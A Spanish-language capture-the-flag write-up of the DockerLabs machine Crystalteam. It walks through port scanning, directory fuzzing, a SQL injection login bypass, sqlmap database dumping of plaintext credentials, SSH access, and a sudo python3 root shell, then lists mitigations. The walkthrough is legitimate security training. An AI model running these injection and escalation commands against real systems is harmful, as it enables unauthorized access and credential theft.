Crystalteam
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Crystalteam, desarrollada por Alejandro609x para la plataforma DockerLabs, clasificada con una dificultad Media.
El laboratorio expone una aplicación web vulnerable que contiene un formulario de autenticación sin protección frente a inyección SQL, permitiendo el bypass del login y la posterior enumeración completa de la base de datos. A partir de esta vulnerabilidad, se obtienen credenciales válidas reutilizadas en el servicio SSH, proporcionando acceso inicial al sistema.
Una vez dentro, se identifica una configuración insegura de privilegios sudo, que permite la ejecución del intérprete Python como root, facilitando una escalada de privilegios directa hasta obtener control total del sistema.
Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Crystalteam |
| Autor | Alejandro609x |
| Dificultad | Medio |
| Fecha | 22/04/2025 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip Crystalteam.zipsudo bash auto_deploy.sh Crystalteam.tarUna vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:
mkdir -p Crystalteam/{content,exploits,nmap,scripts}cd CrystalteamPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsEl resultado revela los siguientes servicios accesibles externamente:
- 22/tcp — SSH
- 80/tcp — HTTP

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Se realiza fuzzing de rutas y archivos sobre el servicio web:
feroxbuster -u http://172.17.0.2 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404El diccionario inicial no resulta efectivo. Tras probar distintas wordlists, se identifica un único endpoint relevante:
- Certification — Página educativa relacionada con ciberseguridad.

Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Al analizar en profundidad el contenido del endpoint Certification, se identifica un formulario de autenticación:

Se prueba inicialmente un payload clásico de inyección SQL para bypass del login:
' or 1=1-- -El payload funciona correctamente, confirmando la vulnerabilidad. A continuación, se automatiza la explotación utilizando sqlmap:
sqlmap -u http://172.17.0.2/Certificacion/login.php --form --batch --dbsEl resultado expone varias bases de datos, destacando una denominada inicio:

Se procede a extraer el contenido de la tabla relevante:
sqlmap -u http://172.17.0.2/Certificacion/login.php --form --batch -D inicio -T personales --dumpEl volcado revela usuarios y contraseñas en texto claro:

Se prueba el primer conjunto de credenciales en el servicio SSH:
ssh alejandro@172.17.0.2El acceso es exitoso, obteniendo una shell válida en el sistema:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De alejandro → root
Sección titulada «3.1 De alejandro → root»Se enumeran los privilegios sudo disponibles:

El resultado indica que el usuario alejandro puede ejecutar el binario python3 como root sin necesidad de contraseña.
Se abusa de esta configuración ejecutando una shell privilegiada:
sudo python3 -c 'import os; os.system("/bin/bash")'La escalada se completa con éxito, obteniendo acceso como root:

Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Inyección SQL en formulario de autenticación | Crítica | Acceso no autorizado |
| Almacenamiento de credenciales en texto plano | Crítica | Compromiso de múltiples servicios |
| Reutilización de credenciales en SSH | Alta | Acceso remoto al sistema |
Configuración insegura de sudo con python3 | Crítica | Escalada directa de privilegios |
| Falta de controles de validación de entrada | Alta | Explotación automatizada |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Implementar consultas SQL parametrizadas y validación estricta de entradas.
- Evitar el almacenamiento de contraseñas en texto claro.
- Aplicar políticas de credenciales únicas para servicios críticos.
- Restringir el uso de intérpretes en configuraciones
sudo. - Auditar periódicamente aplicaciones web y configuraciones de privilegios.